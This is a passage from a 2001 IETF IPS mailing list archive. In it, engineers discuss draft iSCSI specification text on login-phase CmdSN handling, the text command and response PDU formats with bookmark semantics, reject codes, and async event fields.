(HP-UnitedKingdom,ex2)" To: "'ips@ece.cmu.edu'" Subject: RE: iSCSI Change - Login phase Date: Wed, 5 Sep 2001 18:04:13 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Hi Ayman, If the first command in full feature phase is also immediate then it too will have the same CmdSN as the login PDUs. The CmdSN gets "used up" only with non immediate commands and is incremented for the next non-immediate command. Cheers Matthew -----Original Message----- From: Ayman Ghanem [mailto:aghanem@cisco.com] Sent: Wednesday, September 05, 2001 5:49 PM To: ips@ece.cmu.edu Subject: RE: iSCSI Change - Login phase Since all login requests are immediate, the first non-immediate command is actually the first command in full feature phase. I would suggest changing the reference to "the next non-immediate command" to be "the first command in full feature phase". Section 1.1.8 would read: CmdSN is the initial command sequence number of a session, and is valid on the first login request of the leading connection in a session. This determines the CmdSN used in the first command after full feature phase on the session (e.g., if the leading login request carries the CmdSN 123 the first command in full feature phase carries the number 124 etc.). -Ayman > -----Original Message----- > From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of > Mark Bakke > Sent: Wednesday, September 05, 2001 10:03 AM > To: Julian Satran > Cc: ips@ece.cmu.edu > Subject: Re: iSCSI Change - Login phase > > > > Julian and Matthew- > > This is looking good; I have just a few comments: > > Julian Satran wrote: > > 1.1.2 I - Immediate > > > > Login SHOULD be issued as an immediate request (I=1) except for the > > leading login phase in which all requests that MUST have I=0. > > Did you mean "leading connection"? If so, the only thing that is > special about the leading connection is that it needs to communicate > the initial CmdSN value; there is no reason to use I=0 for the > login requests themselves. > > To make this interoperate easier, I would like to get rid of > the SHOULD. How about: > > Login MUST be issued as an immediate request (I=1) except for the > leading login request of the leading connection in a session, which > MUST have I=0 and a valid CmdSN. > > I think that this would be simpler, and still get what we need, > which is to communicate a CmdSN to start with when we hit full > feature phase. > > > 1.1.8 CmdSN > > > > CmdSN is either the initial command sequence number of a session (for > > the first Login of a session - the "leading" login) or the command > > sequence number in the command stream (e.g., if the leading login > > carries the CmdSN 123 the next non-immediate command carries > the number > > 124 etc.). > > If we make the above change regarding the Immediate bit, this changes to: > > CmdSN is the initial command sequence number of a session, and is > valid on the first login request of the leading connection in a > session. This determines the CmdSN used in the next non-immediate > command in the session (e.g., if the leading login request carries > the CmdSN 123 the next non-immediate command carries the number > 124 etc.). > > > > -- > Mark A. Bakke > Cisco Systems > mbakke@cisco.com > 763.398.1054 > From owner-ips@ece.cmu.edu Wed Sep 5 14:53:06 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA17414 for ; Wed, 5 Sep 2001 14:53:06 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f85GoDk22438 for ips-outgoing; Wed, 5 Sep 2001 12:50:13 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dogwood.cisco.com (dogwood.cisco.com [161.44.11.19]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f85GoBP22429 for ; Wed, 5 Sep 2001 12:50:11 -0400 (EDT) Received: from ahganemw2k (dhcp-161-44-68-109.cisco.com [161.44.68.109]) by dogwood.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with SMTP id MAA13275 for ; Wed, 5 Sep 2001 12:50:05 -0400 (EDT) From: "Ayman Ghanem" To: Subject: RE: iSCSI Change - Login phase Date: Wed, 5 Sep 2001 11:49:15 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <3B963E95.E7A37612@cisco.com> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Since all login requests are immediate, the first non-immediate command is actually the first command in full feature phase. I would suggest changing the reference to "the next non-immediate command" to be "the first command in full feature phase". Section 1.1.8 would read: CmdSN is the initial command sequence number of a session, and is valid on the first login request of the leading connection in a session. This determines the CmdSN used in the first command after full feature phase on the session (e.g., if the leading login request carries the CmdSN 123 the first command in full feature phase carries the number 124 etc.). -Ayman > -----Original Message----- > From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of > Mark Bakke > Sent: Wednesday, September 05, 2001 10:03 AM > To: Julian Satran > Cc: ips@ece.cmu.edu > Subject: Re: iSCSI Change - Login phase > > > > Julian and Matthew- > > This is looking good; I have just a few comments: > > Julian Satran wrote: > > 1.1.2 I - Immediate > > > > Login SHOULD be issued as an immediate request (I=1) except for the > > leading login phase in which all requests that MUST have I=0. > > Did you mean "leading connection"? If so, the only thing that is > special about the leading connection is that it needs to communicate > the initial CmdSN value; there is no reason to use I=0 for the > login requests themselves. > > To make this interoperate easier, I would like to get rid of > the SHOULD. How about: > > Login MUST be issued as an immediate request (I=1) except for the > leading login request of the leading connection in a session, which > MUST have I=0 and a valid CmdSN. > > I think that this would be simpler, and still get what we need, > which is to communicate a CmdSN to start with when we hit full > feature phase. > > > 1.1.8 CmdSN > > > > CmdSN is either the initial command sequence number of a session (for > > the first Login of a session - the "leading" login) or the command > > sequence number in the command stream (e.g., if the leading login > > carries the CmdSN 123 the next non-immediate command carries > the number > > 124 etc.). > > If we make the above change regarding the Immediate bit, this changes to: > > CmdSN is the initial command sequence number of a session, and is > valid on the first login request of the leading connection in a > session. This determines the CmdSN used in the next non-immediate > command in the session (e.g., if the leading login request carries > the CmdSN 123 the next non-immediate command carries the number > 124 etc.). > > > > -- > Mark A. Bakke > Cisco Systems > mbakke@cisco.com > 763.398.1054 > From owner-ips@ece.cmu.edu Wed Sep 5 16:26:36 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA21434 for ; Wed, 5 Sep 2001 16:26:21 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f85IItT28209 for ips-outgoing; Wed, 5 Sep 2001 14:18:55 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f85IIqP28200 for ; Wed, 5 Sep 2001 14:18:53 -0400 (EDT) Received: from london ([10.95.10.3]) by mail.wrs.com (8.9.3/8.9.1) with SMTP id LAA16499; Wed, 5 Sep 2001 11:18:30 -0700 (PDT) From: "Rod Harrison" To: "Mark Bakke" Cc: Subject: RE: iSCSI - bookmarks change Date: Wed, 5 Sep 2001 19:20:20 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: <3B9644ED.4FB175DC@cisco.com> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Mark, If we do this it will require the initiator to do some special case handling of text responses. The Initiator Task Tag is the initiators only way of finding its data structures pertaining to the command, removing it will require the initiator to "know" about the location of the text command. This in itself is not terribly difficult, but it is a special case. I would prefer we leave the ITT where it is and allow initiators to use a common method for decoding responses. We can still mandate only one text command per connection. - Rod -----Original Message----- From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of Mark Bakke Sent: Wednesday, September 05, 2001 4:30 PM To: Julian Satran Cc: ips@ece.cmu.edu Subject: Re: iSCSI - bookmarks change Julian- This is getting a lot simpler. We can go even further by turning the SHOULD below into a MUST. If we say: A connection MUST have only one outstanding text command at any given time. This means that the bookmark flag references the connection on which the text command is done, and makes the Initiator Task Tag unnecessary in both the text command and response. We can turn these into reserve fields, and reference the connection instead of the ITT when discussing bookmarked commands. -- Mark Julian Satran wrote: > > Now that text commands are out of login (and we don't have to care too much > about the immediate version) we can rationalize the bookmarks. > > Here is my suggestion for the new text request/response: > > 1.1 Text Command > > The Text Command is provided to allow the exchange of information and > for future extensions. It permits the initiator to inform a target of > its capabilities or to request some special operations. > > A connection SHOULD have only one outstanding text command at any given > time. > > Byte / 0 | 1 | 2 | 3 | > / | | | | > |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| > +---------------+---------------+---------------+----------- ----+ > 0|X|I| 0x04 |F|B| Rsvd | Reserved | > +---------------+---------------+---------------+----------- ----+ > 4| Reserved | DataSegmentLength | > +---------------+---------------+---------------+----------- ----+ > 8| Reserved | > + + > 12| | > +---------------+---------------+---------------+----------- ----+ > 16| Initiator Task Tag | > +---------------+---------------+---------------+----------- ----+ > 20| Reserved | > +---------------+---------------+---------------+----------- ----+ > 24| CmdSN | > +---------------+---------------+---------------+----------- ----+ > 28| ExpStatSN | > +---------------+---------------+---------------+----------- ----+ > 32/ Reserved / > +/ / > +---------------+---------------+---------------+----------- ----+ > 48| Digests if any... | > +---------------+---------------+---------------+----------- ----+ > / DataSegment (Text) / > +/ / > +---------------+---------------+---------------+----------- ----+ > > 1.1.1 F (Final) Bit > > When set to 1 it indicates that this is the last or only text command in > a sequence of commands; otherwise it indicates that more commands will > follow. > > 1.1.2 I - Immediate > > During the Login Phase (the current stage part of CNxSG is either > SecurityNegotiation or LoginOperationalNegotiation), the Text command > SHOULD be issued as an immediate command (I=1). > > 1.1.3 B - bookmark bit > > The bookmark bit set to 1 tells the target to continue from its last > bookmark for the specific Initiator Task Tag and thus allows a target to > transfer a large amount of textual data over a sequence of > text-command/text-response exchanges. > > The bookmark bit set to 0 tells the target that this is a new Text > request; the target should reset any bookmark it holds on the specific > Initiator Task Tag. > > A target MAY reject an old Bookmark. > > Bookmark generation at target is detailed in 2.11.2. > > Long text responses are handled as in the following example: > > I->T Text SendTargets=all (F=1,B=0) > T->I Text (F=0,B=1) > I->T Text (F=1,B=1) > T->I Text (F=0,B=1) > I->T Text (F=1,B=1) > ... > T->I Text (F=1,B=0) > > 1.1.4 Initiator Task Tag > > The initiator assigned identifier for this Text Command. > If the command is sent as part of a sequence of commands (e.g., the > Login Phase or a sequence of Text commands) the Initiator Task Tag MUST > be the same for all the commands within the sequence (similar to linked > SCSI commands). > > 1.1.5 Text > > The initiator sends the target a set of key=value or key=list pairs > encoded in UTF-8 Unicode. All the text keys and text values specified in > this document are to be presented and interpreted in the case they > appear in this document (they are case sensitive). The key and value are > separated by a '=' (0x3d) delimiter. Every key=value pair (including the > last or only pair) MUST be followed by null (0x00) delimiter. A list is > a set of values separated by comma (0x2c). Large binary items can be > encoded using their hexadecimal representation (e.g., 8190 is 0x1ffe) or > decimal representation. The maximum length of an individual value (not > its string representation) is 255 bytes. > > The data lengths of a text command or response MUST NOT exceed 4096 > bytes. Key names MUST NOT exceed 63 bytes. Key values MUST NOT exceed > 255 bytes. > > Character strings are represented as plain text. Numeric and binary > values are represented using either decimal numbers or the hexadecimal > 0xffff notation. Upper and lower case letters may be used > interchangeably in hexadecimal notation (i.e., 0x1aBc, 0x1AbC and 0x1ABC > are equivalent). > > The target responds by sending its response back to the initiator. The > response text format is similar to the request text format. > > Some basic key=value pairs are described in Appendix A and Appendix D. > All keys in Appendix D, except for the X- extension format, MUST be > supported by iSCSI initiators and targets. Keys in Appendix A MUST be > supported only when the function they refer to is mandatory to > implement. > > Manufacturers may introduce new keys by prefixing them with X- followed > by their (reversed) domain name, for example the company owning the > domain acme.com can issue: > > X-com.acme.bar.foo.do_something=0000000000000003 > > Any other key not understood by the target may be ignored by the target > without affecting basic function. However the Text Response for a key > that was not understood MUST be key=NotUnderstood. > > Text operations are usually meant for parameter setting/negotiations but > can be used also to perform some long lasting operations. > > Text operations that will take a long time should be placed in their own > Text command. > > 1.2 > > Text Response > > The Text Response PDU contains the target's responses to the initiator's > Text Command. The format of the Text field matches that of the Text > Command. > > Byte / 0 | 1 | 2 | 3 | > / | | | | > |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| > +---------------+---------------+---------------+----------- ----+ > 0|1|1| 0x24 |F|B| Rsvd | Reserved | > +---------------+---------------+---------------+----------- ----+ > 4| Reserved | DataSegmentLength | > +---------------+---------------+---------------+----------- ----+ > 8| Reserved | > + + > 12| | > +---------------+---------------+---------------+----------- ----+ > 16| Initiator Task Tag | > +---------------+---------------+---------------+----------- ----+ > 20| Reserved | > +---------------+---------------+---------------+----------- ----+ > 24| StatSN | > +---------------+---------------+---------------+----------- ----+ > 28| ExpCmdSN | > +---------------+---------------+---------------+----------- ----+ > 32| MaxCmdSN | > +---------------+---------------+---------------+----------- ----+ > 36/ Reserved / > +/ / > +---------------+---------------+---------------+----------- ----+ > 48| Digests if any... | > +---------------+---------------+---------------+----------- ----+ > / DataSegment (Text) / > +/ / > +---------------+---------------+---------------+----------- ----+ > > 1.2.1 F (Final) Bit > > When set to 1 in response to a text command with the Final bit set to 1 > the F bit indicates that the target has finished the current stage of > the operation or the whole operation. Otherwise if set to 0 in response > to a text command with the Final Bit set to 1 it indicates that the > target has more work to do (invites a follow-on text command). A text > response with the F bit set to 1 in response to a text command with the > F bit set to 0 is a protocol error. > > A text response with a F bit set to 1 MUST NOT contain key=value pairs > that may require additional answers from the initiator. > > 1.2.2 B - bookmark Bit > > Whenever a target can't transfer all the remaining text data in a single > Text response, it attempts to set an internal bookmark. If successful, > the target associates the bookmark with the Initiator Task Tag. The > target indicates that it holds a bookmark for the specific Initiator > Task Tag by setting the bookmark (B) bit to 1 in the Text response. The > target resets the internal bookmark associated with a given Initiator > Task Tag if it receives a Text request with the specified Initiator Task > Tag with the bookmark bit set to 0. When a target can't transfer all > the text data in a single text response and it cannot set an internal > bookmark it rejects the Text request with an appropriate Reject code. A > target may reset its internal bookmark(s) after some time in order to > reclaim resources associated with the bookmark and reject subsequent > Text requests with the bookmark bit set to 1. > > When all the text data fit in a single Text response the bookmark bit of > the response is set to 0 and the bookmark associated with the Initiator > Task Tag is reset. > > 1.2.3 Initiator Task Tag > > The Initiator Task Tag matches the tag used in the initial Text Command > or the Login Initiator Task Tag. > > 1.2.4 Text Response Data > > The Text Response Data Segment contains responses in the same key=value > format as the Text Command and with the same length and coding > constraints. Appendix A and Appendix D lists some basic Text Commands > and their Responses. > > Although the initiator is the requesting party and controls the > request-response initiation and termination the target can offer > key=value pairs of its own as part of a sequence and not only in > response to an identical key=value pair offered by the initiator. > > A Key=value pair must be confined to a given text response even in the > presence of bookmark - i.e., it must start and end within one Text > Response. > > The Reject Reasons table looks like: > > 1.1.1 Reason > > The reject Reason is coded as follows: > > +------+-----------------------------------------+---------- --------+ > | Code | Explanation | Can the original | > | (hex)| | PDU be re-sent? | > +------+-----------------------------------------+---------- --------+ > | 0x01 | Format Error | no | > | | | | > | 0x02 | Data (payload) Digest Error | yes (Note 1) | > | | | | > | 0x03 | Data-SNACK Reject | yes | > | | | | > | 0x04 | Protocol Error (e.g., SNACK request for | no | > | | a status that was already acknowledged) | | > | | | | > | 0x05 | Command not supported in this session | no | > | | type | | > | | | | > | 0x06 | Immediate Command Reject - too many | yes | > | | immediate commands | | > | | | | > | 0x07 | Bookmark Reject - No bookmark for this | no | > | | Initiator Task Tag | | > | | | | > | 0x08 | Bookmark Reject - Can't generate | yes | > | | bookmark - out of resources | | > | | | | > | 0x0f | Full Feature Phase Command before login | no | > +------+-----------------------------------------+---------- --------+ > > Comments? > > Julo -- Mark A. Bakke Cisco Systems mbakke@cisco.com 763.398.1054 From owner-ips@ece.cmu.edu Wed Sep 5 16:28:37 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA21467 for ; Wed, 5 Sep 2001 16:28:37 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f85IJia28288 for ips-outgoing; Wed, 5 Sep 2001 14:19:44 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f85IJRP28251 for ; Wed, 5 Sep 2001 14:19:28 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id UAA83404 for ; Wed, 5 Sep 2001 20:18:56 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f85IItw166746 for ; Wed, 5 Sep 2001 20:18:55 +0200 Importance: Normal Subject: Re: iSCSI - bookmarks change To: Mark Bakke Cc: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Wed, 5 Sep 2001 21:18:11 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.6 |December 14, 2000) at 05/09/2001 21:18:55 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Mark, I gave it some tought. Relating it to the connection and task makes for a more difficult implementation. You have to make available structures per connection and you can never then relax the one-text-command per connection (now it is only a resource statement more than a logical constraint). The ITT allegiance is simple and it lets you store the local bookmark in a data structure that will time-out. I assume that a simple implementation will have one such structure/initiator. Regards, Julo Mark Bakke @cisco.com on 05-09-2001 18:29:49 Please respond to Mark Bakke Sent by: mbakke@cisco.com To: Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu Subject: Re: iSCSI - bookmarks change Julian- This is getting a lot simpler. We can go even further by turning the SHOULD below into a MUST. If we say: A connection MUST have only one outstanding text command at any given time. This means that the bookmark flag references the connection on which the text command is done, and makes the Initiator Task Tag unnecessary in both the text command and response. We can turn these into reserve fields, and reference the connection instead of the ITT when discussing bookmarked commands. -- Mark Julian Satran wrote: > > Now that text commands are out of login (and we don't have to care too much > about the immediate version) we can rationalize the bookmarks. > > Here is my suggestion for the new text request/response: > > 1.1 Text Command > > The Text Command is provided to allow the exchange of information and > for future extensions. It permits the initiator to inform a target of > its capabilities or to request some special operations. > > A connection SHOULD have only one outstanding text command at any given > time. > > Byte / 0 | 1 | 2 | 3 | > / | | | | > |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| > +---------------+---------------+---------------+---------------+ > 0|X|I| 0x04 |F|B| Rsvd | Reserved | > +---------------+---------------+---------------+---------------+ > 4| Reserved | DataSegmentLength | > +---------------+---------------+---------------+---------------+ > 8| Reserved | > + + > 12| | > +---------------+---------------+---------------+---------------+ > 16| Initiator Task Tag | > +---------------+---------------+---------------+---------------+ > 20| Reserved | > +---------------+---------------+---------------+---------------+ > 24| CmdSN | > +---------------+---------------+---------------+---------------+ > 28| ExpStatSN | > +---------------+---------------+---------------+---------------+ > 32/ Reserved / > +/ / > +---------------+---------------+---------------+---------------+ > 48| Digests if any... | > +---------------+---------------+---------------+---------------+ > / DataSegment (Text) / > +/ / > +---------------+---------------+---------------+---------------+ > > 1.1.1 F (Final) Bit > > When set to 1 it indicates that this is the last or only text command in > a sequence of commands; otherwise it indicates that more commands will > follow. > > 1.1.2 I - Immediate > > During the Login Phase (the current stage part of CNxSG is either > SecurityNegotiation or LoginOperationalNegotiation), the Text command > SHOULD be issued as an immediate command (I=1). > > 1.1.3 B - bookmark bit > > The bookmark bit set to 1 tells the target to continue from its last > bookmark for the specific Initiator Task Tag and thus allows a target to > transfer a large amount of textual data over a sequence of > text-command/text-response exchanges. > > The bookmark bit set to 0 tells the target that this is a new Text > request; the target should reset any bookmark it holds on the specific > Initiator Task Tag. > > A target MAY reject an old Bookmark. > > Bookmark generation at target is detailed in 2.11.2. > > Long text responses are handled as in the following example: > > I->T Text SendTargets=all (F=1,B=0) > T->I Text (F=0,B=1) > I->T Text (F=1,B=1) > T->I Text (F=0,B=1) > I->T Text (F=1,B=1) > ... > T->I Text (F=1,B=0) > > 1.1.4 Initiator Task Tag > > The initiator assigned identifier for this Text Command. > If the command is sent as part of a sequence of commands (e.g., the > Login Phase or a sequence of Text commands) the Initiator Task Tag MUST > be the same for all the commands within the sequence (similar to linked > SCSI commands). > > 1.1.5 Text > > The initiator sends the target a set of key=value or key=list pairs > encoded in UTF-8 Unicode. All the text keys and text values specified in > this document are to be presented and interpreted in the case they > appear in this document (they are case sensitive). The key and value are > separated by a '=' (0x3d) delimiter. Every key=value pair (including the > last or only pair) MUST be followed by null (0x00) delimiter. A list is > a set of values separated by comma (0x2c). Large binary items can be > encoded using their hexadecimal representation (e.g., 8190 is 0x1ffe) or > decimal representation. The maximum length of an individual value (not > its string representation) is 255 bytes. > > The data lengths of a text command or response MUST NOT exceed 4096 > bytes. Key names MUST NOT exceed 63 bytes. Key values MUST NOT exceed > 255 bytes. > > Character strings are represented as plain text. Numeric and binary > values are represented using either decimal numbers or the hexadecimal > 0xffff notation. Upper and lower case letters may be used > interchangeably in hexadecimal notation (i.e., 0x1aBc, 0x1AbC and 0x1ABC > are equivalent). > > The target responds by sending its response back to the initiator. The > response text format is similar to the request text format. > > Some basic key=value pairs are described in Appendix A and Appendix D. > All keys in Appendix D, except for the X- extension format, MUST be > supported by iSCSI initiators and targets. Keys in Appendix A MUST be > supported only when the function they refer to is mandatory to > implement. > > Manufacturers may introduce new keys by prefixing them with X- followed > by their (reversed) domain name, for example the company owning the > domain acme.com can issue: > > X-com.acme.bar.foo.do_something=0000000000000003 > > Any other key not understood by the target may be ignored by the target > without affecting basic function. However the Text Response for a key > that was not understood MUST be key=NotUnderstood. > > Text operations are usually meant for parameter setting/negotiations but > can be used also to perform some long lasting operations. > > Text operations that will take a long time should be placed in their own > Text command. > > 1.2 > > Text Response > > The Text Response PDU contains the target's responses to the initiator's > Text Command. The format of the Text field matches that of the Text > Command. > > Byte / 0 | 1 | 2 | 3 | > / | | | | > |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| > +---------------+---------------+---------------+---------------+ > 0|1|1| 0x24 |F|B| Rsvd | Reserved | > +---------------+---------------+---------------+---------------+ > 4| Reserved | DataSegmentLength | > +---------------+---------------+---------------+---------------+ > 8| Reserved | > + + > 12| | > +---------------+---------------+---------------+---------------+ > 16| Initiator Task Tag | > +---------------+---------------+---------------+---------------+ > 20| Reserved | > +---------------+---------------+---------------+---------------+ > 24| StatSN | > +---------------+---------------+---------------+---------------+ > 28| ExpCmdSN | > +---------------+---------------+---------------+---------------+ > 32| MaxCmdSN | > +---------------+---------------+---------------+---------------+ > 36/ Reserved / > +/ / > +---------------+---------------+---------------+---------------+ > 48| Digests if any... | > +---------------+---------------+---------------+---------------+ > / DataSegment (Text) / > +/ / > +---------------+---------------+---------------+---------------+ > > 1.2.1 F (Final) Bit > > When set to 1 in response to a text command with the Final bit set to 1 > the F bit indicates that the target has finished the current stage of > the operation or the whole operation. Otherwise if set to 0 in response > to a text command with the Final Bit set to 1 it indicates that the > target has more work to do (invites a follow-on text command). A text > response with the F bit set to 1 in response to a text command with the > F bit set to 0 is a protocol error. > > A text response with a F bit set to 1 MUST NOT contain key=value pairs > that may require additional answers from the initiator. > > 1.2.2 B - bookmark Bit > > Whenever a target can't transfer all the remaining text data in a single > Text response, it attempts to set an internal bookmark. If successful, > the target associates the bookmark with the Initiator Task Tag. The > target indicates that it holds a bookmark for the specific Initiator > Task Tag by setting the bookmark (B) bit to 1 in the Text response. The > target resets the internal bookmark associated with a given Initiator > Task Tag if it receives a Text request with the specified Initiator Task > Tag with the bookmark bit set to 0. When a target can't transfer all > the text data in a single text response and it cannot set an internal > bookmark it rejects the Text request with an appropriate Reject code. A > target may reset its internal bookmark(s) after some time in order to > reclaim resources associated with the bookmark and reject subsequent > Text requests with the bookmark bit set to 1. > > When all the text data fit in a single Text response the bookmark bit of > the response is set to 0 and the bookmark associated with the Initiator > Task Tag is reset. > > 1.2.3 Initiator Task Tag > > The Initiator Task Tag matches the tag used in the initial Text Command > or the Login Initiator Task Tag. > > 1.2.4 Text Response Data > > The Text Response Data Segment contains responses in the same key=value > format as the Text Command and with the same length and coding > constraints. Appendix A and Appendix D lists some basic Text Commands > and their Responses. > > Although the initiator is the requesting party and controls the > request-response initiation and termination the target can offer > key=value pairs of its own as part of a sequence and not only in > response to an identical key=value pair offered by the initiator. > > A Key=value pair must be confined to a given text response even in the > presence of bookmark - i.e., it must start and end within one Text > Response. > > The Reject Reasons table looks like: > > 1.1.1 Reason > > The reject Reason is coded as follows: > > +------+-----------------------------------------+------------------+ > | Code | Explanation | Can the original | > | (hex)| | PDU be re-sent? | > +------+-----------------------------------------+------------------+ > | 0x01 | Format Error | no | > | | | | > | 0x02 | Data (payload) Digest Error | yes (Note 1) | > | | | | > | 0x03 | Data-SNACK Reject | yes | > | | | | > | 0x04 | Protocol Error (e.g., SNACK request for | no | > | | a status that was already acknowledged) | | > | | | | > | 0x05 | Command not supported in this session | no | > | | type | | > | | | | > | 0x06 | Immediate Command Reject - too many | yes | > | | immediate commands | | > | | | | > | 0x07 | Bookmark Reject - No bookmark for this | no | > | | Initiator Task Tag | | > | | | | > | 0x08 | Bookmark Reject - Can't generate | yes | > | | bookmark - out of resources | | > | | | | > | 0x0f | Full Feature Phase Command before login | no | > +------+-----------------------------------------+------------------+ > > Comments? > > Julo -- Mark A. Bakke Cisco Systems mbakke@cisco.com 763.398.1054 From owner-ips@ece.cmu.edu Wed Sep 5 17:22:12 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA22666 for ; Wed, 5 Sep 2001 17:22:12 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f85KGlc06423 for ips-outgoing; Wed, 5 Sep 2001 16:16:47 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dogwood.cisco.com (dogwood.cisco.com [161.44.11.19]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f85KGjP06415 for ; Wed, 5 Sep 2001 16:16:45 -0400 (EDT) Received: from cisco.com (mbakke@mbakke-lnx.cisco.com [161.44.68.87]) by dogwood.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id QAA08799 for ; Wed, 5 Sep 2001 16:16:41 -0400 (EDT) Message-ID: <3B968668.54868BDC@cisco.com> Date: Wed, 05 Sep 2001 15:09:12 -0500 From: Mark Bakke X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.16-3.uid32 i686) X-Accept-Language: en, de MIME-Version: 1.0 To: IPS Subject: iSCSI: Async events - SCSI and iSCSI Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julian- I was looking at Async Message some more, and noticed that there is nothing to stop a target from sending a message that includes both iSCSI and SCSI events, since each of these are communicated with a different set of fields. I would guess that this is not what is intended, and that the target ought to send one or the other. Can we add some text to say: A target may send this message as either a SCSI Event or an iSCSI Event, but not both. Either the SCSI Event or iSCSI Event field MUST be zero. -- Mark A. Bakke Cisco Systems mbakke@cisco.com 763.398.1054 From owner-ips@ece.cmu.edu Wed Sep 5 17:23:53 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA22694 for ; Wed, 5 Sep 2001 17:23:49 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f85JTDl03220 for ips-outgoing; Wed, 5 Sep 2001 15:29:13 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dogwood.cisco.com (dogwood.cisco.com [161.44.11.19]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f85JT9P03204 for ; Wed, 5 Sep 2001 15:29:09 -0400 (EDT) Received: from cisco.com (mbakke@mbakke-lnx.cisco.com [161.44.68.87]) by dogwood.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id PAA26473; Wed, 5 Sep 2001 15:29:00 -0400 (EDT) Message-ID: <3B967B3B.FB6492E4@cisco.com> Date: Wed, 05 Sep 2001 14:21:31 -0500 From: Mark Bakke X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.16-3.uid32 i686) X-Accept-Language: en, de MIME-Version: 1.0 To: Julian Satran CC: ips@ece.cmu.edu Subject: Re: iSCSI - bookmarks change References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit The timeouts are the reason several of us had wanted something other than bookmarks in the first place; that's when we had proposed the "option 5" scheme that allowed an initiator to control the amount of data to be sent, and the target to not have to keep any state for text commands. Since the initiator has to keep state anyway (while waiting for responses), we did not want to also have to keep state on the target. Anyway, the bookmarks will work fine; I just want to see this not get too complicated, and not have too many options. If we 